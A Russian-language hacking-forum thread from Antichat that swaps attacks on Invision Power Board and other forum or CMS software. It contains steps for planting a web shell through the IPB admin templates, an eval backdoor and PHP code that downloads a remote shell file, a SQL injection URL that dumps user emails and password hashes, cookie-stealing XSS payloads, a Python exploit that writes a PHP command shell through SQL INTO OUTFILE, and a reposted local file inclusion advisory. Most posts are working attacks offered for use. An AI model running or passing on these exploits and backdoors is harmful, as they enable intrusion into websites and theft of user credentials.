HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.09.2011, 19:21
Export
Новичок
Регистрация: 13.02.2010
Сообщений: 0
С нами: 8547867

Репутация: 0
По умолчанию

Нашёл уязвимость на форумах IPB 3.x.x (Работает вплоть до 3.2.2.)

Код:
Раскрытие путей.
(должен быть доступен upgrade) http://форум/admin/upgrade/index.php?app=upgrade&s=&section[]=index&do=login Также раскрытие доступно через. HTTP Live Header. Смотрим заголовки,меняем в http://форум/admin/upgrade/index.php?app=upgrade&s=&section=index&do=login запрос do=login&username=asd&password=asd(пример запроса) на do=login&username[]=asd&password[]=asd
 
Ответить с цитированием

  #2  
Старый 16.11.2011, 18:31
ree4
Новичок
Регистрация: 09.03.2011
Сообщений: 28
С нами: 7988726

Репутация: 0
По умолчанию

а на какой версии папки

/cache/

/style_images/

/jscripts/

/lofiversion/

??
 
Ответить с цитированием

  #3  
Старый 14.12.2011, 15:45
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами: 8686406

Репутация: 265


По умолчанию

Какие таблицы в БД могут быть у Ipb?
 
Ответить с цитированием

  #4  
Старый 14.12.2011, 20:48
Antonio Falkone
Познающий
Регистрация: 23.12.2009
Сообщений: 84
С нами: 8622795

Репутация: 106
По умолчанию

Цитата:
Сообщение от stepashka_  
Какие таблицы в БД могут быть у Ipb?
http://forums.ibresource.ru/index.php?/topic/47909/
 
Ответить с цитированием

  #5  
Старый 05.01.2012, 16:25
Ereee
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами: 7604246

Репутация: 267


По умолчанию

Заливка шелла IPB 3.x

Вроде такого не было:

1) Идем в админку => Внешний вид => IP.Board(текущий шаблон) => globalTemplate

2) Ставим код между тегами и и жмем Сохранить.

3) Ваш код доступен по адрес http://site/forum/index.php

Не советую туда вставлять бэкдор, типа:

if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));

Так как залитый шелл этим бэкдором будет nobody. Поэтому лучше сразу:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site/shell.txt); //ваш адрес шелла

[/COLOR][COLOR="#0000BB"]$b[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/path/to/writeable/dir/'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]//папка доступная для записи

[/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$br[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'shell.php'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"w"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Тогда шелл будет выполнятся как другие скрипты на сервере.
 
Ответить с цитированием

  #6  
Старый 05.01.2012, 17:49
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию

Цитата:
Сообщение от Ereee  
Не советую туда вставлять бэкдор, типа:
if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));
Так как залитый шелл этим бэкдором будет nobody. Поэтому лучше сразу:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site/shell.txt); //ваш адрес шелла

[/COLOR][COLOR="#0000BB"]$b[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/path/to/writeable/dir/'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]//папка доступная для записи

[/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$br[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'shell.php'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"w"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Тогда шелл будет выполнятся как другие скрипты на сервере.
с чего это вдруг?
 
Ответить с цитированием

  #7  
Старый 10.01.2012, 03:54
boortyhuhtyu
Постоянный
Регистрация: 02.02.2011
Сообщений: 727
С нами: 8039126

Репутация: -6


По умолчанию

[QUOTE="freecold"]

Testing target URL ...

Fetching topics from ID 1

No topics found.

Last ditch effort, enter topic:

???​
 
Ответить с цитированием

  #8  
Старый 07.04.2012, 15:20
mr.Penguin
Познающий
Регистрация: 08.03.2012
Сообщений: 40
С нами: 7463126

Репутация: 74
По умолчанию

AnGrY BoY/Siteframe 3.2.3 SQL Injection

Код:
# Exploit Title: Siteframe 'user.php' SQL Injection Vulnerability
# Google Dork: "powered by Siteframe"
# Date: 29/12/2010
# Author: AnGrY BoY
# Software Link: http://sitefrane.org/downloads/
# Version: Siteframe 3.2.3
# Tested on: windows SP2
# CVE : N/A
 
# expolit:
 
# http://localhost/path/user.php?id=[SQL]
 
# http://localhost/path/user.php?id=-2+UNION+SELECT+1,2,3,4,5,concat(user_email,0x3e,user_passwd),7,8,9,10,11+from+users--
 
======================================================================================
# Special Thanks:- all h4kurd members
Vasil A./Invision Power Board 3.2.3 Cross Site Scripting

Код:
Name :  Cross-site scripting vulnerability in Invision Power Board version 3.2.3
Software :  Invision Power Board version 3.2.3
Vendor Homepage :  http://www.invisionpower.com
Vulnerability Type :  Cross-site scripting
Researcher :  Vasil A. xss@9y.com
 
Description
--------------------
Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an
Internet forum software produced by Invision Power Services, Inc. It
is written in PHP and primarily uses MySQL as a database management
system, although support for other database engines is available.
 
Details
--------------------
IP Board is affected by a Cross-site scripting vulnerability in version 3.2.3.
 
Example PoC url is as follows :
 
http://example.com/forums/index.php?showforum=53">with(document)alert(cookie)
 
Additional notes:
1.If a forum contain sub-forums this vulnerability don't exist.
 
2.Most of boards uses "Friendly Url style",but the attack can be
performed  by using "legacy URL style" in the query,e.g :
 
http://example.com/forum/index.php?showforum=2">alert(/xss/.source)
 
instead:
 
http://example.com/forum/index.php?/forum/2-example/
 
Solution
--------------------
The vendor issued patch for this vulnerability. Please see the references.
 
Advisory Timeline
--------------------
10/03/2012 - First contact: Sent the vulnerability details
12/03/2012 - Second contact: Ask for patch
14/03/2012 - Vulnerability Fixed
15/03/2012 - Vulnerability Released
 
Credits
-------------------
It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.
AutoSec Tools/LightNEasy 3.2.3 SQL Injection

Код:
# ------------------------------------------------------------------------
# Software................LightNEasy 3.2.3
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://www.lightneasy.org/
# Discovery Date..........4/21/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch 
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A SQL injection vulnerability in LightNEasy 3.2.3 can be exploited to
# extract arbitrary data. In some environments it may be possible to
# create a PHP shell.
# 
# 
# --PoC--
 
import socket
 
host = 'localhost'
path = '/lne323'
shell_path = '/shell.php'
port = 80
 
def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    
 
    s.send('POST ' + path + '/index.php?do=&page= HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Proxy-Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: 73\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Cookie: userhandle=%22UNION/**/SELECT/**/CONCAT(char(60),char(63),char(112),char(104),char(112),char(32),char(115),char(121),char(115),char(116),char(101),char(109),char(40),char(36),char(95),char(71),char(69),char(84),char(91),char(39),char(67),char(77),char(68),char(39),char(93),char(41),char(59),char(32),char(63),char(62)),%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22/**/FROM/**/dual/**/INTO/**/OUTFILE%22../../htdocs/shell.php%22%23\r\n'
           'Accept: text/html\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="submit"\r\n'
           '\r\n'
           '\r\n'
           '------x--\r\n'
           '\r\n')
 
    resp = s.recv(8192)
 
    http_ok = 'HTTP/1.1 200 OK'
 
    if http_ok not in resp[:len(http_ok)]:
        print 'error uploading shell'
        return
    else: print 'shell uploaded'
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)     
 
    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
           'Host: ' + host + '\r\n\r\n')
 
    if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'        
    else: print 'shell located at http://' + host + shell_path
 
upload_shell()
 
Ответить с цитированием

  #9  
Старый 22.04.2012, 14:40
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами: 11217866

Репутация: 3812


По умолчанию

забавно, никто не отпостил даже

Код:
[waraxe-2012-SA#086] - Local File Inclusion in Invision Power Board 3.3.0
========================================================================
=======

Author: Janek Vind "waraxe"
Date: 12. April 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-86.html
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226

Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet
forum software produced by Invision Power Services, Inc.
It is written in PHP and primarily uses MySQL as a database management system,
although support for other database engines is available.

Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

Affected are Invision Power Board versions 3.3.0 and 3.2.3, older versions
may be vulnerable as well.

########################################################################
#######
1. Local File Inclusion in "like.php" function "_unsubscribe"
########################################################################
#######

CVE Information:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2012-2226 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.

Vulnerability Details:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~
Reason: using unsanitized user submitted data for file operations
Attack vector: user submitted GET parameter "key"
Preconditions:
1. attacker must be logged in as valid user
2. PHP must be request['key'] ) );

list( $app, $area, $relId, $likeMemberId, $memberId, $email ) = explode( ';', $key );

/* Member? */
if ( ! $this->memberData['member_id'] )
{
$this->registry->output->showError( 'no_permission', 'pcgl-1' );
}

if ( ! $app || ! $area || ! $relId )
{
$this->registry->output->showError( 'no_permission', 'pcgl-1' );
}

if ( ( $memberId != $likeMemberId ) || ( $memberId != $this->memberData['member_id'] ) )
{
$this->registry->output->showError( 'no_permission', 'pcgl-2' );
}

if ( $email != $this->memberData['email'] )
{
$this->registry->output->showError( 'no_permission', 'pcgl-3' );
}

/* Think we're safe... */
$this->_like = classes_like::bootstrap( $app, $area );
-----------------[ source code end ]-----------------------------------

As seen above, user submitted parameter "key" is first base64 decoded and then
splitted to six variables. After multiple checks function "bootstrap()" is called,
using unvalidated user submitted data for arguments.

Source code snippet from vulnerable script "composite.php":
-----------------[ source code start ]---------------------------------
static public function bootstrap( $app=null, $area=null )
{
..
if( $area != 'default' )
{
$_file = IPSLib::getAppDir( $app ) . '/extensions/like/' . $area . '.php';
..
}
..
if ( ! is_file( $_file ) )
{
..
throw new Exception( "No like class available for $app - $area" );
..
}
..
$classToLoad = IPSLib::loadLibrary( $_file, $_class, $app );
-----------------[ source code end ]-----------------------------------

We can see, that variable "$_file" is composed using unvalidated argument "area".
Next there is check for file existence and in case of success next function,
"loadLibrary", is called, using unvalidated argument "$_file".

Source code snippet from vulnerable script "core.php":
-----------------[ source code start ]---------------------------------
static public function loadLibrary( $filePath, $className, $app='core' )
{
/* Get the class */
if ( $filePath != '' )
{
require_once( $filePath );/*noLibHook*/
}
-----------------[ source code end ]-----------------------------------

As seen above, "require_once" function is used with unvalidated argument.

Test: we need to construct specific base64 encoded payload.
First, semicolon-separated string:

forums;/../../test;1;1;1;come2waraxe (at) yahoo (dot) com [email concealed]

Email address and other components must be valid for successful test.

After base64 encoding:

Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ

Now let's log in as valid user and then issue GET request:

http://localhost/ipb330/index.php?app=core&module=global&section=like
&do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlh
aG9vLmNvbQ

Result:

Fatal error: Uncaught exception 'Exception' with message 'No like class available
for forums - /../../test' in C:\apache_www\ipb330\admin\sources\classes\like\composite.php:333
Stack trace: #0 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.
php(131):
classes_like::bootstrap('forums', '/../../test')
#1 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.
php(44):
public_core_global_like->_unsubscribe()
#2 C:\apache_www\ipb330\admin\sources\base\ipsController.php(306):
public_core_global_like->doExecute(Object(ipsRegistry)) #3
C:\apache_www\ipb330\admin\sources\base\ipsController.php(120): ipsCommand->execute(Object(ipsRegistry))
#4 C:\apache_www\ipb330\admin\sources\base\ipsController.php(65): ipsController->handleRequest()
#5 C:\apache_www\ipb330\index.php(26): ipsController::run()
#6 {main} thrown in C:\apache_www\ipb330\admin\sources\classes\like\composite.php on line 333

Potential attack scenario:

1. Attacker registers to target forum and logs in as valid user
2. Attacker uploads avatar picture with malicious php code to target server
3. Attacker issues carefully crafted GET or POST request and as result gets php level access

There are many other ways to exploit LFI (Local File Inclusion) vulnerabilities,
for example by using procfs ("proc/self/environ") on *nix platforms.

How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~

Update to new version 3.3.1

http://community.invisionpower.com/topic/360518-ipboard-331-ipblog-252-i
pseo-152-and-updates-for-ipboard-32x-ipgallery-42x-released/

Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~

27.03.2012 Developers contacted via email
28.03.2012 Developers confirmed upcoming patch
11.04.2012 Developers announced new version release
12.04.2012 Advisory released

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

come2waraxe (at) yahoo (dot) com [email concealed]
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------
__________________
 
Ответить с цитированием

  #10  
Старый 02.06.2012, 14:16
Dart Raiden
Новичок
Регистрация: 12.03.2012
Сообщений: 1
С нами: 7457366

Репутация: 0
По умолчанию

Invision Power Board 3.2.0 - 3.2.3. Cross Site Scripting

Добавляем в свое сообщение

Код:
[img]src="123" onError="alert(document.cookie);"[/img]
+ немного соц.инженерии: размещаем пост с таким содержанием, чтобы администратор/модератор его отредактировал, добавляем в конце ядовитый код, маскируем его тэгом [color]. При попытке редактирования происходит выполнение.

фикс выпущен 9 марта (аж через 2 месяца после сообщения разработчикам об уязвимости)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Уязвимости CMS / форумов 167 17.10.2019 18:14
[Обзор уязвимостей в форумных движках] Grey Уязвимости CMS / форумов 49 02.04.2015 17:48
[Обзор уязвимостей XMBForum] [x26]VOLAND Уязвимости CMS / форумов 0 19.05.2008 13:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.